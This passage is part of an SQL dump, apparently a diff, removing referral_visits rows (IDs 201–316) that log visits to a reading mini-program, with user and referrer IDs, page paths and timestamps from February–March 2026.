'2026-02-21 01:46:51'); -INSERT INTO `referral_visits` VALUES (201, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-22 15:28:12'); -INSERT INTO `referral_visits` VALUES (202, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-22 15:28:12'); -INSERT INTO `referral_visits` VALUES (203, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-22 15:28:12'); -INSERT INTO `referral_visits` VALUES (204, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-22 15:53:38'); -INSERT INTO `referral_visits` VALUES (205, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-22 15:53:38'); -INSERT INTO `referral_visits` VALUES (206, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-23 02:24:16'); -INSERT INTO `referral_visits` VALUES (207, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-23 02:24:16'); -INSERT INTO `referral_visits` VALUES (208, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-23 03:20:58'); -INSERT INTO `referral_visits` VALUES (209, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-23 03:20:58'); -INSERT INTO `referral_visits` VALUES (210, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:20:58'); -INSERT INTO `referral_visits` VALUES (211, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:21:52'); -INSERT INTO `referral_visits` VALUES (212, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:21:52'); -INSERT INTO `referral_visits` VALUES (213, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:22:34'); -INSERT INTO `referral_visits` VALUES (214, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:22:34'); -INSERT INTO `referral_visits` VALUES (215, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:22:48'); -INSERT INTO `referral_visits` VALUES (216, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:08'); -INSERT INTO `referral_visits` VALUES (217, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:14'); -INSERT INTO `referral_visits` VALUES (218, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:21'); -INSERT INTO `referral_visits` VALUES (219, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:23'); -INSERT INTO `referral_visits` VALUES (220, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/chapters/chapters', '2026-02-23 03:23:52'); -INSERT INTO `referral_visits` VALUES (221, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:23:52'); -INSERT INTO `referral_visits` VALUES (222, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:24:10'); -INSERT INTO `referral_visits` VALUES (223, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-23 03:24:10'); -INSERT INTO `referral_visits` VALUES (224, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-02-23 03:33:37'); -INSERT INTO `referral_visits` VALUES (225, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-02-23 03:33:37'); -INSERT INTO `referral_visits` VALUES (226, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-02-23 03:33:37'); -INSERT INTO `referral_visits` VALUES (227, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 03:50:16'); -INSERT INTO `referral_visits` VALUES (228, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-23 03:50:16'); -INSERT INTO `referral_visits` VALUES (229, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 03:50:16'); -INSERT INTO `referral_visits` VALUES (230, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-23 05:17:58'); -INSERT INTO `referral_visits` VALUES (231, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-23 05:17:58'); -INSERT INTO `referral_visits` VALUES (232, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-23 05:17:58'); -INSERT INTO `referral_visits` VALUES (233, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-23 05:23:21'); -INSERT INTO `referral_visits` VALUES (234, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-23 05:23:21'); -INSERT INTO `referral_visits` VALUES (235, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-23 05:23:21'); -INSERT INTO `referral_visits` VALUES (236, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 05:57:25'); -INSERT INTO `referral_visits` VALUES (237, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-23 05:57:25'); -INSERT INTO `referral_visits` VALUES (238, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 05:57:27'); -INSERT INTO `referral_visits` VALUES (239, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 06:06:46'); -INSERT INTO `referral_visits` VALUES (240, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-02-23 06:06:46'); -INSERT INTO `referral_visits` VALUES (241, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-02-23 06:06:46'); -INSERT INTO `referral_visits` VALUES (242, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'ogpTW5fn15jtYjuoxYNB_jGSVV4g', 'miniprogram', 'pages/read/read', '2026-02-23 06:07:30'); -INSERT INTO `referral_visits` VALUES (243, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-23 08:48:55'); -INSERT INTO `referral_visits` VALUES (244, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-02-23 08:48:55'); -INSERT INTO `referral_visits` VALUES (245, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-02-23 08:48:55'); -INSERT INTO `referral_visits` VALUES (246, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-24 01:40:16'); -INSERT INTO `referral_visits` VALUES (247, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-02-24 01:40:16'); -INSERT INTO `referral_visits` VALUES (248, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-24 01:40:16'); -INSERT INTO `referral_visits` VALUES (249, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/chapters/chapters', '2026-02-27 08:36:45'); -INSERT INTO `referral_visits` VALUES (250, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-27 09:01:09'); -INSERT INTO `referral_visits` VALUES (251, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-27 09:01:09'); -INSERT INTO `referral_visits` VALUES (252, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/vip/vip', '2026-02-27 09:01:18'); -INSERT INTO `referral_visits` VALUES (253, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/vip/vip', '2026-02-27 09:02:49'); -INSERT INTO `referral_visits` VALUES (254, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 09:29:34'); -INSERT INTO `referral_visits` VALUES (255, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 09:29:34'); -INSERT INTO `referral_visits` VALUES (256, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 09:34:39'); -INSERT INTO `referral_visits` VALUES (257, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 09:34:39'); -INSERT INTO `referral_visits` VALUES (258, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 10:55:53'); -INSERT INTO `referral_visits` VALUES (259, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-02-27 10:55:53'); -INSERT INTO `referral_visits` VALUES (260, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-27 22:58:47'); -INSERT INTO `referral_visits` VALUES (261, 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-02-27 22:58:47'); -INSERT INTO `referral_visits` VALUES (262, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-27 23:51:43'); -INSERT INTO `referral_visits` VALUES (263, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-27 23:51:43'); -INSERT INTO `referral_visits` VALUES (264, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/chapters/chapters', '2026-02-27 23:52:36'); -INSERT INTO `referral_visits` VALUES (265, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-02-27 23:52:36'); -INSERT INTO `referral_visits` VALUES (266, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', NULL, '2026-02-27 23:53:21'); -INSERT INTO `referral_visits` VALUES (267, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', 'pages/read/read', '2026-02-27 23:53:21'); -INSERT INTO `referral_visits` VALUES (268, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', NULL, '2026-02-27 23:53:21'); -INSERT INTO `referral_visits` VALUES (269, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', 'pages/read/read', '2026-02-27 23:53:29'); -INSERT INTO `referral_visits` VALUES (270, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'miniprogram', 'pages/read/read', '2026-02-27 23:53:29'); -INSERT INTO `referral_visits` VALUES (271, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-03-01 11:22:26'); -INSERT INTO `referral_visits` VALUES (272, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-03-01 11:22:28'); -INSERT INTO `referral_visits` VALUES (273, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', NULL, '2026-03-01 11:22:28'); -INSERT INTO `referral_visits` VALUES (274, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-03-01 22:55:17'); -INSERT INTO `referral_visits` VALUES (275, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'miniprogram', 'pages/read/read', '2026-03-01 22:55:17'); -INSERT INTO `referral_visits` VALUES (276, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-02 00:55:50'); -INSERT INTO `referral_visits` VALUES (277, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', NULL, '2026-03-02 00:55:50'); -INSERT INTO `referral_visits` VALUES (278, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-02 00:55:50'); -INSERT INTO `referral_visits` VALUES (279, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-03-02 02:54:51'); -INSERT INTO `referral_visits` VALUES (280, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-03-02 02:54:51'); -INSERT INTO `referral_visits` VALUES (281, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 02:54:51'); -INSERT INTO `referral_visits` VALUES (282, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:54:58'); -INSERT INTO `referral_visits` VALUES (283, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:54:58'); -INSERT INTO `referral_visits` VALUES (284, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-02 02:55:19'); -INSERT INTO `referral_visits` VALUES (285, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', NULL, '2026-03-02 02:55:19'); -INSERT INTO `referral_visits` VALUES (286, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:55:20'); -INSERT INTO `referral_visits` VALUES (287, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:55:21'); -INSERT INTO `referral_visits` VALUES (288, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:55:21'); -INSERT INTO `referral_visits` VALUES (289, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'miniprogram', 'pages/read/read', '2026-03-02 02:56:29'); -INSERT INTO `referral_visits` VALUES (290, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 02:58:20'); -INSERT INTO `referral_visits` VALUES (291, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 02:58:20'); -INSERT INTO `referral_visits` VALUES (292, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 03:01:44'); -INSERT INTO `referral_visits` VALUES (293, 'ogpTW5cteGWqwOsRzh_CCIdKWGSE', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-02 03:01:44'); -INSERT INTO `referral_visits` VALUES (294, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-02 03:59:30'); -INSERT INTO `referral_visits` VALUES (295, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', NULL, '2026-03-02 03:59:30'); -INSERT INTO `referral_visits` VALUES (296, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'ogpTW5cVMxd5afBBtXdvmeMO8aho', 'miniprogram', 'pages/read/read', '2026-03-02 03:59:30'); -INSERT INTO `referral_visits` VALUES (297, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'miniprogram', NULL, '2026-03-02 12:15:27'); -INSERT INTO `referral_visits` VALUES (298, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'miniprogram', NULL, '2026-03-02 12:15:27'); -INSERT INTO `referral_visits` VALUES (299, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'miniprogram', 'pages/read/read', '2026-03-02 12:15:28'); -INSERT INTO `referral_visits` VALUES (300, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-02 23:14:57'); -INSERT INTO `referral_visits` VALUES (301, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-02 23:14:57'); -INSERT INTO `referral_visits` VALUES (302, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-02 23:14:57'); -INSERT INTO `referral_visits` VALUES (303, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/index/index', '2026-03-03 00:19:20'); -INSERT INTO `referral_visits` VALUES (304, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'miniprogram', 'pages/read/read', '2026-03-03 00:19:20'); -INSERT INTO `referral_visits` VALUES (305, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-03 00:50:54'); -INSERT INTO `referral_visits` VALUES (306, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-03 00:50:54'); -INSERT INTO `referral_visits` VALUES (307, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 00:50:54'); -INSERT INTO `referral_visits` VALUES (308, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'miniprogram', 'pages/read/read', '2026-03-03 00:52:45'); -INSERT INTO `referral_visits` VALUES (309, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'miniprogram', 'pages/read/read', '2026-03-03 00:52:45'); -INSERT INTO `referral_visits` VALUES (310, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-03-03 01:15:32'); -INSERT INTO `referral_visits` VALUES (311, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', NULL, '2026-03-03 01:15:32'); -INSERT INTO `referral_visits` VALUES (312, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', 'user_1769380781794', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'miniprogram', 'pages/read/read', '2026-03-03 01:15:32'); -INSERT INTO `referral_visits` VALUES (313, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-03 03:04:21'); -INSERT INTO `referral_visits` VALUES (314, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', NULL, '2026-03-03 03:04:21'); -INSERT INTO `referral_visits` VALUES (315, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 03:04:23'); -INSERT INTO `referral_visits` VALUES (316, 'ogpTW5QBRQNUOm4-zvg8it2XySrI', NULL, NULL, 'miniprogram', 'pages/read/read', '2026-03-03 03:05:26'); 